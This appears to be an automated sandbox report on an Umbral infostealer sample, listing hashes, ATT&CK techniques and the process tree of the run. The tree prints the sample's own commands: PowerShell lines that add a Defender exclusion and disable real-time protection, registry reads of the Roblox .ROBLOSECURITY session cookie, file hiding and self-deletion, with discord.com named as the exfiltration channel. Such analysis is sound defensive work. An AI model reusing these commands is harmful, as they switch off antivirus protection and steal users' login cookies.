umbral | fd39268f5d2b701b75d72ee97b20c325b72af61aa69b9638e04ac2816927c483

Analysis

max time kernel
96s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
25-01-2025 07:58

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General

Target

bootstrapper (1).exe
Size

328KB
MD5

0cf5a2a6a93219472f252664fa75255e
SHA1

38f94656d8c9be377161306d1b9ab5feb41f27ff
SHA256

fd39268f5d2b701b75d72ee97b20c325b72af61aa69b9638e04ac2816927c483
SHA512

6ab0c66dc057f557b33749ff493b579e284feda4541ca576fdf96ae5c8ea2611141abdc82bb8d423504c00dd5c3648209347d549511e889a66efc6af398c8911
SSDEEP

6144:SloZM+rIkd8g+EtXHkv/iD4CSn6HdmOhZU9va6v8Rb8e1mZi4c:8oZtL+EP8CSn6HdmOhZU9va6vs7

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/4932-1-0x00000181A7240000-0x00000181A7298000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3268	powershell.exe
1132	powershell.exe
3124	powershell.exe
3840	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	bootstrapper (1).exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
22	discord.com
21	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
8	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3492	cmd.exe
4716	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2820	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4716	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
4932	bootstrapper (1).exe
3840	powershell.exe
3840	powershell.exe
3268	powershell.exe
3268	powershell.exe
1132	powershell.exe
1132	powershell.exe
3756	powershell.exe
3756	powershell.exe
3124	powershell.exe
3124	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4932	bootstrapper (1).exe
Token: SeIncreaseQuotaPrivilege	4500	wmic.exe
Token: SeSecurityPrivilege	4500	wmic.exe
Token: SeTakeOwnershipPrivilege	4500	wmic.exe
Token: SeLoadDriverPrivilege	4500	wmic.exe
Token: SeSystemProfilePrivilege	4500	wmic.exe
Token: SeSystemtimePrivilege	4500	wmic.exe
Token: SeProfSingleProcessPrivilege	4500	wmic.exe
Token: SeIncBasePriorityPrivilege	4500	wmic.exe
Token: SeCreatePagefilePrivilege	4500	wmic.exe
Token: SeBackupPrivilege	4500	wmic.exe
Token: SeRestorePrivilege	4500	wmic.exe
Token: SeShutdownPrivilege	4500	wmic.exe
Token: SeDebugPrivilege	4500	wmic.exe
Token: SeSystemEnvironmentPrivilege	4500	wmic.exe
Token: SeRemoteShutdownPrivilege	4500	wmic.exe
Token: SeUndockPrivilege	4500	wmic.exe
Token: SeManageVolumePrivilege	4500	wmic.exe
Token: 33	4500	wmic.exe
Token: 34	4500	wmic.exe
Token: 35	4500	wmic.exe
Token: 36	4500	wmic.exe
Token: SeIncreaseQuotaPrivilege	4500	wmic.exe
Token: SeSecurityPrivilege	4500	wmic.exe
Token: SeTakeOwnershipPrivilege	4500	wmic.exe
Token: SeLoadDriverPrivilege	4500	wmic.exe
Token: SeSystemProfilePrivilege	4500	wmic.exe
Token: SeSystemtimePrivilege	4500	wmic.exe
Token: SeProfSingleProcessPrivilege	4500	wmic.exe
Token: SeIncBasePriorityPrivilege	4500	wmic.exe
Token: SeCreatePagefilePrivilege	4500	wmic.exe
Token: SeBackupPrivilege	4500	wmic.exe
Token: SeRestorePrivilege	4500	wmic.exe
Token: SeShutdownPrivilege	4500	wmic.exe
Token: SeDebugPrivilege	4500	wmic.exe
Token: SeSystemEnvironmentPrivilege	4500	wmic.exe
Token: SeRemoteShutdownPrivilege	4500	wmic.exe
Token: SeUndockPrivilege	4500	wmic.exe
Token: SeManageVolumePrivilege	4500	wmic.exe
Token: 33	4500	wmic.exe
Token: 34	4500	wmic.exe
Token: 35	4500	wmic.exe
Token: 36	4500	wmic.exe
Token: SeDebugPrivilege	3840	powershell.exe
Token: SeDebugPrivilege	3268	powershell.exe
Token: SeDebugPrivilege	1132	powershell.exe
Token: SeDebugPrivilege	3756	powershell.exe
Token: SeIncreaseQuotaPrivilege	5056	wmic.exe
Token: SeSecurityPrivilege	5056	wmic.exe
Token: SeTakeOwnershipPrivilege	5056	wmic.exe
Token: SeLoadDriverPrivilege	5056	wmic.exe
Token: SeSystemProfilePrivilege	5056	wmic.exe
Token: SeSystemtimePrivilege	5056	wmic.exe
Token: SeProfSingleProcessPrivilege	5056	wmic.exe
Token: SeIncBasePriorityPrivilege	5056	wmic.exe
Token: SeCreatePagefilePrivilege	5056	wmic.exe
Token: SeBackupPrivilege	5056	wmic.exe
Token: SeRestorePrivilege	5056	wmic.exe
Token: SeShutdownPrivilege	5056	wmic.exe
Token: SeDebugPrivilege	5056	wmic.exe
Token: SeSystemEnvironmentPrivilege	5056	wmic.exe
Token: SeRemoteShutdownPrivilege	5056	wmic.exe
Token: SeUndockPrivilege	5056	wmic.exe
Token: SeManageVolumePrivilege	5056	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 4932 wrote to memory of 4500	4932	bootstrapper (1).exe	82
PID 4932 wrote to memory of 4500	4932	bootstrapper (1).exe	82
PID 4932 wrote to memory of 3952	4932	bootstrapper (1).exe	85
PID 4932 wrote to memory of 3952	4932	bootstrapper (1).exe	85
PID 4932 wrote to memory of 3840	4932	bootstrapper (1).exe	87
PID 4932 wrote to memory of 3840	4932	bootstrapper (1).exe	87
PID 4932 wrote to memory of 3268	4932	bootstrapper (1).exe	89
PID 4932 wrote to memory of 3268	4932	bootstrapper (1).exe	89
PID 4932 wrote to memory of 1132	4932	bootstrapper (1).exe	91
PID 4932 wrote to memory of 1132	4932	bootstrapper (1).exe	91
PID 4932 wrote to memory of 3756	4932	bootstrapper (1).exe	93
PID 4932 wrote to memory of 3756	4932	bootstrapper (1).exe	93
PID 4932 wrote to memory of 5056	4932	bootstrapper (1).exe	95
PID 4932 wrote to memory of 5056	4932	bootstrapper (1).exe	95
PID 4932 wrote to memory of 4476	4932	bootstrapper (1).exe	97
PID 4932 wrote to memory of 4476	4932	bootstrapper (1).exe	97
PID 4932 wrote to memory of 4480	4932	bootstrapper (1).exe	99
PID 4932 wrote to memory of 4480	4932	bootstrapper (1).exe	99
PID 4932 wrote to memory of 3124	4932	bootstrapper (1).exe	101
PID 4932 wrote to memory of 3124	4932	bootstrapper (1).exe	101
PID 4932 wrote to memory of 2820	4932	bootstrapper (1).exe	103
PID 4932 wrote to memory of 2820	4932	bootstrapper (1).exe	103
PID 4932 wrote to memory of 3492	4932	bootstrapper (1).exe	105
PID 4932 wrote to memory of 3492	4932	bootstrapper (1).exe	105
PID 3492 wrote to memory of 4716	3492	cmd.exe	107
PID 3492 wrote to memory of 4716	3492	cmd.exe	107

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3952	attrib.exe

C:\Users\Admin\AppData\Local\Temp\bootstrapper (1).exe
"C:\Users\Admin\AppData\Local\Temp\bootstrapper (1).exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4932
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4500
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\bootstrapper (1).exe"
  2⤵
  - Views/modifies file attributes
  PID:3952
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bootstrapper (1).exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3840
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3268
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1132
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3756
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5056
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:4476
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:4480
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3124
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2820
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\bootstrapper (1).exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:3492
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4716

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
0b8cb2e6dd5794b6a56a4bdbbd430fd7

SHA1
2b08e348c3489c6a35761af073018e3784c12074

SHA256
bcce0d44e33747e4c39df9afbd0a4e98a47ded0188375e4dfdd94cafbb366e1f

SHA512
15ce3b588aa80899f69b0313c7e188d886bddbd09783ca732ac33f9ae8e4e017a72b6f98919f581383a4582732575e5faedb0dea87e01cf2b657424945fdf4d2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
88be3bc8a7f90e3953298c0fdbec4d72

SHA1
f4969784ad421cc80ef45608727aacd0f6bf2e4b

SHA256
533c8470b41084e40c5660569ebbdb7496520d449629a235e8053e84025f348a

SHA512
4fce64e2dacddbc03314048fef1ce356ee2647c14733da121c23c65507eeb8d721d6b690ad5463319b364dc4fa95904ad6ab096907f32918e3406ef438a6ef7c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
9d07f3e14349738cdede571f8215d907

SHA1
01cd4a12286cb61abbd13716d6c9a4e7b1a4eb4e

SHA256
7298068a22b6a6e04c2c8a3c85d0635bbbc4a5abf8ceefcb9432b75eabd25dc2

SHA512
575d4ffacaeb9c857b4b64d31e35ffb68868b0de572c560b27efdf65f10749c5c034ecc0b202367efded80e73c9599599f6590692843bc6ef4ebf5fc9f6a95e0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_adllqtdm.yzd.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3840-4-0x00007FF9D5900000-0x00007FF9D63C1000-memory.dmp

Filesize
10.8MB

Download
memory/3840-10-0x00007FF9D5900000-0x00007FF9D63C1000-memory.dmp

Filesize
10.8MB

Download
memory/3840-15-0x0000015D63440000-0x0000015D63462000-memory.dmp

Filesize
136KB

Download
memory/3840-18-0x00007FF9D5900000-0x00007FF9D63C1000-memory.dmp

Filesize
10.8MB

Download
memory/3840-3-0x00007FF9D5900000-0x00007FF9D63C1000-memory.dmp

Filesize
10.8MB

Download
memory/4932-34-0x00000181C1A30000-0x00000181C1A80000-memory.dmp

Filesize
320KB

Download
memory/4932-33-0x00000181C19B0000-0x00000181C1A26000-memory.dmp

Filesize
472KB

Download
memory/4932-35-0x00000181C1950000-0x00000181C196E000-memory.dmp

Filesize
120KB

Download
memory/4932-1-0x00000181A7240000-0x00000181A7298000-memory.dmp

Filesize
352KB

Download
memory/4932-0-0x00007FF9D5903000-0x00007FF9D5905000-memory.dmp

Filesize
8KB

Download
memory/4932-72-0x00000181C1980000-0x00000181C198A000-memory.dmp

Filesize
40KB

Download
memory/4932-73-0x00000181C1BA0000-0x00000181C1BB2000-memory.dmp

Filesize
72KB

Download
memory/4932-2-0x00007FF9D5900000-0x00007FF9D63C1000-memory.dmp

Filesize
10.8MB

Download
memory/4932-89-0x00007FF9D5903000-0x00007FF9D5905000-memory.dmp

Filesize
8KB

Download
memory/4932-94-0x00007FF9D5900000-0x00007FF9D63C1000-memory.dmp

Filesize
10.8MB

Download